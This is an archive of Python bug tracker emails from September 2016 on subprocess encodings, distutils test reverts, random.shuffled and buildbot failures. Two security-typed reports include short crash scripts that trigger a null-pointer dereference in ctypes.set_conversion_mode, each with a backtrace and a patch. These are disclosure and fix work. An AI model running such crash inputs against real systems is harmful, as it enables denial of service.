In-Reply-To: <1473118900.37.0.989458487579.issue27959@psf.upfronthosting.co.za>
Message-ID: <1473125441.16.0.801385523848.issue27959@psf.upfronthosting.co.za>


Steve Dower added the comment:

Addressed most of the feedback, though I think having a fallback search function instead of the alias is better.

----------
Added file: http://bugs.python.org/file44388/27959_2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27959>
_______________________________________

From report at bugs.python.org  Mon Sep  5 21:30:53 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 01:30:53 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473125453.65.0.854493945719.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

Added tests.

----------
Added file: http://bugs.python.org/file44389/6135_2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:09:52 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 02:09:52 +0000
Subject: [issue27962] null poiter dereference in set_conversion_mode dua
 uncheck _ctypes_conversion_encoding
Message-ID: <1473127792.38.0.373594857813.issue27962@psf.upfronthosting.co.za>


New submission from Minh R?u:

Description:
------------
Null dereference in function set_conversion_mode due uncheck _ctypes_conversion_encoding:

static PyObject *
set_conversion_mode(PyObject *self, PyObject *args)
{
...
    if (coding) {
        PyMem_Free(_ctypes_conversion_encoding);
        _ctypes_conversion_encoding = PyMem_Malloc(strlen(coding) + 1); //if memory is not enough, _ctypes_conversion_encoding will be null
        strcpy(_ctypes_conversion_encoding, coding); // crash here
    } else {
...


Test script:
---------------

import ctypes

s = 'a'*(0xffffffff/2-0xffff)
sss = 'a'*(0xffffffff/4)
ctypes.set_conversion_mode(s, s)


Expected result:
----------------
No Crash

Actual result:
--------------
Starting program: /home/minhrau/cpython-2.7/python ~/pythontestcase/test.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
(gdb) bt
#0  0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
#1  0xf7fba5c2 in set_conversion_mode (self=0x0, args=0xf7cd602c) at /home/minhrau/cpython-2.7/Modules/_ctypes/callproc.c:1700
#2  0x080f6dfc in call_function (oparg=<optimized out>, pp_stack=0xffffd45c) at Python/ceval.c:4350
#3  PyEval_EvalFrameEx (f=<optimized out>, throwflag=<optimized out>) at Python/ceval.c:2987
#4  0x080f964e in PyEval_EvalCodeEx (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714, args=0x0, argcount=0, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:3582
#5  0x080f9942 in PyEval_EvalCode (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714) at Python/ceval.c:669
#6  0x0811e928 in run_mod (arena=0x8264f18, flags=0xffffd64c, locals=0xf7d5b714, globals=0xf7d5b714, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", mod=0x826daa0) at Python/pythonrun.c:1376
#7  PyRun_FileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", start=257, globals=0xf7d5b714, locals=0xf7d5b714, closeit=1, flags=0xffffd64c) at Python/pythonrun.c:1362
#8  0x081202f4 in PyRun_SimpleFileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", closeit=1, flags=0xffffd64c) at Python/pythonrun.c:948
#9  0x0805a37d in Py_Main (argc=2, argv=0xffffd794) at Modules/main.c:640
#10 0x080594cb in main (argc=2, argv=0xffffd794) at ./Modules/python.c:20

Patch:
--------------
file: cpython-2.7/Modules/_ctypes/callproc.c
1700,1701d1699
<         if (_ctypes_conversion_encoding == NULL)
<             return PyErr_NoMemory();

----------
components: ctypes
messages: 274493
nosy: minhrau
priority: normal
severity: normal
status: open
title: null poiter dereference in set_conversion_mode dua uncheck _ctypes_conversion_encoding
type: security
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27962>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:10:46 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 02:10:46 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode dua
 uncheck _ctypes_conversion_errors
Message-ID: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>


New submission from Minh R?u:

Description:
------------
Null dereference in function set_conversion_mode due uncheck _ctypes_conversion_errors:

static PyObject *
set_conversion_mode(PyObject *self, PyObject *args)
{
    char *coding, *mode;
    PyObject *result;
...
    PyMem_Free(_ctypes_conversion_errors);
    _ctypes_conversion_errors = PyMem_Malloc(strlen(mode) + 1); //if memory is not enough, _ctypes_conversion_errors will be null
    strcpy(_ctypes_conversion_errors, mode); // crash here
    return result;
}



Test script:
---------------

import ctypes

s = 'a'*(0xffffffff/2-0xffff)
sss = 'a'*(0xffffffff/4)
ctypes.set_conversion_mode('a', s)


Expected result:
----------------
No Crash

Actual result:
--------------
Starting program: /home/minhrau/cpython-2.7/python ~/pythontestcase/test.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
(gdb) bt
#0  0xf7def209 in __strcpy_sse2 () from /usr/lib32/libc.so.6
#1  0xf7fba5f2 in set_conversion_mode (self=0x0, args=0xf7cd602c) at /home/minhrau/cpython-2.7/Modules/_ctypes/callproc.c:1706
#2  0x080f6dfc in call_function (oparg=<optimized out>, pp_stack=0xffffd45c) at Python/ceval.c:4350
#3  PyEval_EvalFrameEx (f=<optimized out>, throwflag=<optimized out>) at Python/ceval.c:2987
#4  0x080f964e in PyEval_EvalCodeEx (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714, args=0x0, argcount=0, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:3582
#5  0x080f9942 in PyEval_EvalCode (co=0xf7cc94e8, globals=0xf7d5b714, locals=0xf7d5b714) at Python/ceval.c:669
#6  0x0811e928 in run_mod (arena=0x8264f18, flags=0xffffd64c, locals=0xf7d5b714, globals=0xf7d5b714, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", mod=0x826daa0) at Python/pythonrun.c:1376
#7  PyRun_FileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", start=257, globals=0xf7d5b714, locals=0xf7d5b714, closeit=1, flags=0xffffd64c) at Python/pythonrun.c:1362
#8  0x081202f4 in PyRun_SimpleFileExFlags (fp=0x826c788, filename=0xffffd96e "/home/minhrau/pythontestcase/test.py", closeit=1, flags=0xffffd64c) at Python/pythonrun.c:948
#9  0x0805a37d in Py_Main (argc=2, argv=0xffffd794) at Modules/main.c:640
#10 0x080594cb in main (argc=2, argv=0xffffd794) at ./Modules/python.c:20
(gdb) 


Patch:
--------------
file: cpython-2.7/Modules/_ctypes/callproc.c
1706,1707d1705
<     if (_ctypes_conversion_errors == NULL)
<         return PyErr_NoMemory();

----------
components: ctypes
messages: 274494
nosy: minhrau
priority: normal
severity: normal
status: open
title: null poiter dereference in set_conversion_mode dua uncheck _ctypes_conversion_errors
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:11:22 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 02:11:22 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode dua
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473127882.95.0.209932127404.issue27963@psf.upfronthosting.co.za>


Changes by Minh R?u <minhrau.vc.365 at gmail.com>:


----------
type:  -> security

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:12:03 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 02:12:03 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473127923.51.0.403798860035.issue27963@psf.upfronthosting.co.za>


Changes by Minh R?u <minhrau.vc.365 at gmail.com>:


----------
title: null poiter dereference in set_conversion_mode dua uncheck _ctypes_conversion_errors -> null poiter dereference in set_conversion_mode due uncheck _ctypes_conversion_errors

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:12:08 2016
From: report at bugs.python.org (=?utf-8?b?TWluaCBSw6J1?=)
Date: Tue, 06 Sep 2016 02:12:08 +0000
Subject: [issue27962] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_encoding
In-Reply-To: <1473127792.38.0.373594857813.issue27962@psf.upfronthosting.co.za>
Message-ID: <1473127928.55.0.00776570414831.issue27962@psf.upfronthosting.co.za>


Changes by Minh R?u <minhrau.vc.365 at gmail.com>:


----------
title: null poiter dereference in set_conversion_mode dua uncheck _ctypes_conversion_encoding -> null poiter dereference in set_conversion_mode due uncheck _ctypes_conversion_encoding

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27962>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:12:36 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 02:12:36 +0000
Subject: [issue27922] Make IDLE tests less flashy
In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za>
Message-ID: <1473127956.36.0.78318510728.issue27922@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It's fine, knowing that the maintainer thinks this behaviour is okay. :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27922>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:16:59 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 06 Sep 2016 02:16:59 +0000
Subject: [issue27960] Distutils tests are broken in 3.4
In-Reply-To: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>
Message-ID: <1473128219.83.0.166935452326.issue27960@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

Sorry you've had to spend any time on this. I'll get it corrected immediately.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:17:19 2016
From: report at bugs.python.org (Steve Dower)
Date: Tue, 06 Sep 2016 02:17:19 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473128239.24.0.476127082512.issue6135@psf.upfronthosting.co.za>


Steve Dower added the comment:

You may be right about leaving out the opener API. The only use of it right now is for separate encodings, but I don't know how valuable that is.

I'll pull it out tomorrow and just leave the encoding parameter.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:20:11 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 02:20:11 +0000
Subject: [issue27355] Strip out the last lingering vestiges of Windows CE
 support
In-Reply-To: <1466408180.27.0.0873204690606.issue27355@psf.upfronthosting.co.za>
Message-ID: <20160906022008.104224.40481.19F3BA68@psf.io>


Roundup Robot added the comment:

New changeset 0ce745bb7717 by Martin Panter in branch 'default':
Issue #27355: Import no longer needed
https://hg.python.org/cpython/rev/0ce745bb7717

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27355>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:27:44 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 06 Sep 2016 02:27:44 +0000
Subject: [issue27779] Sync-up docstrings in C version of the the decimal module
In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za>
Message-ID: <1473128864.46.0.394719085682.issue27779@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Lisa is not a committer.  The assignment means that she is working on the patch.  BTW, the decimal package has long been my area as well (writing a C implementation does not give you exclusive decision making over the docstrings.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27779>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:28:17 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 06 Sep 2016 02:28:17 +0000
Subject: [issue27960] Distutils tests are broken in 3.4
In-Reply-To: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>
Message-ID: <1473128897.69.0.346688393981.issue27960@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

I invoked `hg revert --all -r 675e20c38fdac6` at the 3.4 head, and that effectively reverted everything to its state prior to the commits.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:29:57 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 02:29:57 +0000
Subject: [issue12885] distutils.filelist.findall() fails on broken symlink in
 Py2.x
In-Reply-To: <1314971843.03.0.797964996491.issue12885@psf.upfronthosting.co.za>
Message-ID: <20160906022954.37962.26933.B6E9981D@psf.io>


Roundup Robot added the comment:

New changeset 556a11c11edd by Jason R. Coombs in branch '3.4':
Issue #27960: Revert state to 675e20c38fdac6, backing out all changes by developed for Issue #12885.
https://hg.python.org/cpython/rev/556a11c11edd

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue12885>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:29:57 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 06 Sep 2016 02:29:57 +0000
Subject: [issue27960] Distutils tests are broken in 3.4
In-Reply-To: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>
Message-ID: <20160906022954.37962.69377.DB3157F9@psf.io>


Roundup Robot added the comment:

New changeset 556a11c11edd by Jason R. Coombs in branch '3.4':
Issue #27960: Revert state to 675e20c38fdac6, backing out all changes by developed for Issue #12885.
https://hg.python.org/cpython/rev/556a11c11edd

New changeset b442744d2d22 by Jason R. Coombs in branch '3.5':
Issue #27960: Merge with 3.4
https://hg.python.org/cpython/rev/b442744d2d22

New changeset 7cec1a1d6950 by Jason R. Coombs in branch 'default':
Issue #27960: Merge with 3.5
https://hg.python.org/cpython/rev/7cec1a1d6950

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:32:59 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 06 Sep 2016 02:32:59 +0000
Subject: [issue27960] Distutils tests are broken in 3.4
In-Reply-To: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>
Message-ID: <1473129179.02.0.811614436833.issue27960@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

I believe this is fixed now. I'll be testing locally, but please don't hesitate to let me know if you find otherwise.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:35:12 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 06 Sep 2016 02:35:12 +0000
Subject: [issue27964] Add random.shuffled
Message-ID: <1473129312.89.0.375337142335.issue27964@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

An occasionally requested feature is for a shuffled() function, related to the in-place random.shuffle() as sorted() is to list.sort().

See the latest example:

https://mail.python.org/pipermail/python-ideas/2016-September/042096.html

----------
messages: 274504
nosy: rhettinger, steven.daprano
priority: normal
severity: normal
status: open
title: Add random.shuffled

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27964>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:36:44 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Tue, 06 Sep 2016 02:36:44 +0000
Subject: [issue27960] Distutils tests are broken in 3.4
In-Reply-To: <1473119251.18.0.120707316704.issue27960@psf.upfronthosting.co.za>
Message-ID: <1473129404.46.0.723772263576.issue27960@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

Confirmed working here now.

$ hg id -i
556a11c11edd
$ ./python.exe -m test test_distutils
[1/1] test_distutils
1 test OK.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27960>
_______________________________________

From report at bugs.python.org  Mon Sep  5 22:57:31 2016
From: report at bugs.python.org (Tim Peters)
Date: Tue, 06 Sep 2016 02:57:31 +0000
Subject: [issue27964] Add random.shuffled
In-Reply-To: <1473129312.89.0.375337142335.issue27964@psf.upfronthosting.co.za>
Message-ID: <1473130651.62.0.0143915702295.issue27964@psf.upfronthosting.co.za>


Tim Peters added the comment:

I'm at best -0 on the idea:  very easy to get the effect without it, and hard to imagine it's needed frequently.  `sorted()` is also very easy to mimic, but is used often by all sorts of code.  For example, to display output in a `for key in sorted(dict):` loop, or to create a throwaway sorted list for testing, like:

assert data2[low: high] == sorted(data[low: high])

In my own code, I find hundreds of uses of `sorted()`, but only a few dozen of `random.shuffle()`, and in none of the latter cases would `shuffled()` have been useful.

----------
nosy: +tim.peters
stage:  -> needs patch
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27964>
_______________________________________

From report at bugs.python.org  Mon Sep  5 23:03:44 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 06 Sep 2016 03:03:44 +0000
Subject: [issue27964] Add random.shuffled
In-Reply-To: <1473129312.89.0.375337142335.issue27964@psf.upfronthosting.co.za>
Message-ID: <1473131024.56.0.350246331135.issue27964@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

Sorry Steven, I concur with Tim and am going to reject this one.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27964>
_______________________________________

From report at bugs.python.org  Mon Sep  5 23:33:19 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 03:33:19 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <1473132799.53.0.118713758388.issue27744@psf.upfronthosting.co.za>


Martin Panter added the comment:

Despite the last changes, test_aes_cbc() hangs for fifteen minutes:
http://buildbot.python.org/all/builders/x86-64%20Ubuntu%2015.10%20Skylake%20CPU%203.x/builds/1298/steps/test/logs/stdio
running: test_socket (900 sec)
0:28:47 [332/402] test_socket crashed
Timeout (0:15:00)!
Thread 0x00007f2843d94700 (most recent call first):
  File "/home/buildbot/buildarea/3.x.intel-ubuntu-skylake/build/Lib/test/test_socket.py", line 5389 in test_aes_cbc
  File "/home/buildbot/buildarea/3.x.intel-ubuntu-skylake/build/Lib/test/support/__init__.py", line 523 in wrapper
  File "/home/buildbot/buildarea/3.x.intel-ubuntu-skylake/build/Lib/unittest/case.py", line 600 in run
  . . .

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Mon Sep  5 23:54:19 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 03:54:19 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473134059.35.0.238963184101.issue6135@psf.upfronthosting.co.za>


Martin Panter added the comment:

Would be nice to see tests for getstatusoutput() and the errors parameter. Also you need more error handling e.g. if the encoding is unsupported, I think the internal pipe files won?t be cleaned up.

Also, should encoding=... or errors=... be an error if universal_newlines=False (the default)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:09:57 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Tue, 06 Sep 2016 04:09:57 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1243494524.57.0.870766192683.issue6135@psf.upfronthosting.co.za>
Message-ID: <1473134997.4.0.378663760898.issue6135@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

A couple of high level questions:

a. How do folks feel about providing a new "text" parameter to replace the cryptic "universal_newlines=True" that would explicitly be equivalent to "universal newlines with sys.getdefaultencoding()"?

b. Given (a), what if the new "text" parameter also accepted a new "subprocess.TextConfig" object in addition to the base behaviour of doing a plain bool(text) check to activate the defaults?

One of the biggest problems we have with subprocess.Popen is that it still attempts to use a flat configuration model for a complex operation involving 4-7 underlying elements (starting the subprocess, configuring stdin, configuring stdout, configuring stderr, and potentially local counterparts for stdin/stdout/stderr if pipes are used), and that situations unlikely to ever improve unless we start introducing some hierarchical elements to the configuration that better mirror the structure of the underlying system capabilities.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6135>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:20:06 2016
From: report at bugs.python.org (Marcquise Washington)
Date: Tue, 06 Sep 2016 04:20:06 +0000
Subject: [issue27965] automatic .py extension
Message-ID: <1473135606.27.0.92782184591.issue27965@psf.upfronthosting.co.za>


New submission from Marcquise Washington:

I am experiencing an issue where when I finish coding a program and I go to save file, just before running the program, I have manually add the .py extension, instead of the extension being already embedded with the file name, given that I am saving the file through the (IDLE/python) script/interpreter/compiler. On other systems it seems to automatically ad the .py extension when saving files, but not on my Macbook Pro (Running OS X El Capitan V 10.11.6). Please help

----------
components: Macintosh
messages: 274511
nosy: InfiniteHybrid, ned.deily, ronaldoussoren
priority: normal
severity: normal
status: open
title: automatic .py extension
type: performance
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27965>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:23:10 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 04:23:10 +0000
Subject: [issue27938] PyUnicode_AsEncodedString,
 PyUnicode_Decode: add fast-path for "us-ascii" encoding
In-Reply-To: <1472811574.16.0.472581628747.issue27938@psf.upfronthosting.co.za>
Message-ID: <1473135790.87.0.790516318936.issue27938@psf.upfronthosting.co.za>


Martin Panter added the comment:

It seems this change is the cause of the Free BSD buildbot failures. From memory, both failing cases involve sending or receiving non-ASCII bytes in child Python processes.

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%20CURRENT%20Non-Debug%203.x/builds/110/steps/test/logs/stdio

======================================================================
FAIL: test_non_ascii (test.test_cmd_line_script.CmdLineTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/test/test_cmd_line_script.py", line 517, in test_non_ascii
    rc, stdout, stderr = assert_python_ok(script_name)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/test/support/script_helper.py", line 139, in assert_python_ok
    return _assert_python(True, *args, **env_vars)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/test/support/script_helper.py", line 125, in _assert_python
    err))
AssertionError: Process return code is 1
command line: ['/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/python', '-X', 'faulthandler', '-I', './@test_60885_tmp\udce7w\udcf0.py']

stdout:
---

---

stderr:
---
UnicodeEncodeError: 'ascii' codec can't encode character '\xe7' in position 17: ordinal not in range(128)
---

======================================================================
FAIL: test_nonascii (test.test_readline.TestReadline)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/test/test_readline.py", line 203, in test_nonascii
    self.assertIn(b"text 't\\xeb'\r\n", output)
AssertionError: b"text 't\\xeb'\r\n" not found in bytearray(b"^A^B^B^B^B^B^B^B\t\tx\t\r\n[\x07\r\x07\x07\x07\x07\x07\x07\x07\x07x[\x08\x07\r\nresult \'x[\'\r\nhistory \'x[\'\r\n")

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27938>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:26:06 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 04:26:06 +0000
Subject: [issue27963] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_errors
In-Reply-To: <1473127846.83.0.0299239583888.issue27963@psf.upfronthosting.co.za>
Message-ID: <1473135966.73.0.900024638801.issue27963@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Hmm, I tested the example snippet but it works. And PyMem_Free shouldn't fail when encounter NULL. The doc explicitly says "If p is NULL, no operation is performed".

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27963>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:31:00 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 04:31:00 +0000
Subject: [issue27962] null poiter dereference in set_conversion_mode due
 uncheck _ctypes_conversion_encoding
In-Reply-To: <1473127792.38.0.373594857813.issue27962@psf.upfronthosting.co.za>
Message-ID: <1473136260.7.0.848257325837.issue27962@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Same as my comment in issue27963.

Python 2.7.12+ (2.7:de9e410e78d8, Sep  6 2016, 12:28:48) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import ctypes
>>> 
>>> s = 'a'*(0xffffffff/2-0xffff)
>>> sss = 'a'*(0xffffffff/4)
>>> ctypes.set_conversion_mode(s, s)
('ascii', 'strict')

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27962>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:32:51 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 04:32:51 +0000
Subject: [issue27866] ssl: get list of enabled ciphers
In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za>
Message-ID: <1473136371.89.0.0769281441778.issue27866@psf.upfronthosting.co.za>


Martin Panter added the comment:

Fails on the Gentoo buildbots:
http://buildbot.python.org/all/builders/x86%20Gentoo%20Non-Debug%20with%20X%203.x/builds/1368/steps/test/logs/stdio

======================================================================
ERROR: test_get_ciphers (test.test_ssl.ContextTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/buildbot/buildarea/3.x.ware-gentoo-x86.nondebug/build/Lib/test/test_ssl.py", line 840, in test_get_ciphers
    ctx.set_ciphers('ECDHE+AESGCM:!ECDSA')
ssl.SSLError: ('No cipher can be selected.',)

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27866>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:37:53 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 06 Sep 2016 04:37:53 +0000
Subject: [issue27744] Add AF_ALG (Linux Kernel crypto) to socket module
In-Reply-To: <1470997290.77.0.995104201782.issue27744@psf.upfronthosting.co.za>
Message-ID: <1473136673.76.0.781972274062.issue27744@psf.upfronthosting.co.za>


Martin Panter added the comment:

Also, the Gentoo buildbots fail:
http://buildbot.python.org/all/builders/x86%20Gentoo%20Non-Debug%20with%20X%203.x/builds/1368/steps/test/logs/stdio
======================================================================
ERROR: test_aead_aes_gcm (test.test_socket.LinuxKernelCryptoAPI)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/buildbot/buildarea/3.x.ware-gentoo-x86.nondebug/build/Lib/test/support/__init__.py", line 523, in wrapper
    return func(*args, **kw)
  File "/buildbot/buildarea/3.x.ware-gentoo-x86.nondebug/build/Lib/test/test_socket.py", line 5428, in test_aead_aes_gcm
    with self.create_alg('aead', 'gcm(aes)') as algo:
  File "/buildbot/buildarea/3.x.ware-gentoo-x86.nondebug/build/Lib/test/test_socket.py", line 5346, in create_alg
    sock.bind((typ, name))
FileNotFoundError: [Errno 2] No such file or directory

Similar failures for test_aes_cbc test_drbg_pr_sha256 test_hmac_sha1 test_sha256.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27744>
_______________________________________

From report at bugs.python.org  Tue Sep  6 00:40:03 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 04:40:03 +0000
Subject: [issue6135] subprocess seems to use local encoding and give no choice
In-Reply-To: <1473134997.4.0.378663760898.issue6135@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwb3CaDmJeFm9azO1tnRt0mDqrPG_Z5qNgLgqje3hLMMHA@mail.gmail.com>


STINNER Victor added the comment:

Steve:
> You may be right about leaving out the opener API. The only use of it right now is for separate encodings, but I don't know how valuable that is.

My proposal is: Popen(cmd, stdin={'encoding': 'oem'},
stdout={'encoding': 'ansi'})

The dict would just be passed to TextIOWrapper, so you can set even
more arguments:

* encoding
* errors
* newline
* line_buffering
* write_through

But I still think that simple encoding + errors arguments should be
added for the common case : Popen(cmd, encoding='utf8').

You can combine options: Popen(cmd, stdin={'encoding': 'oem'},
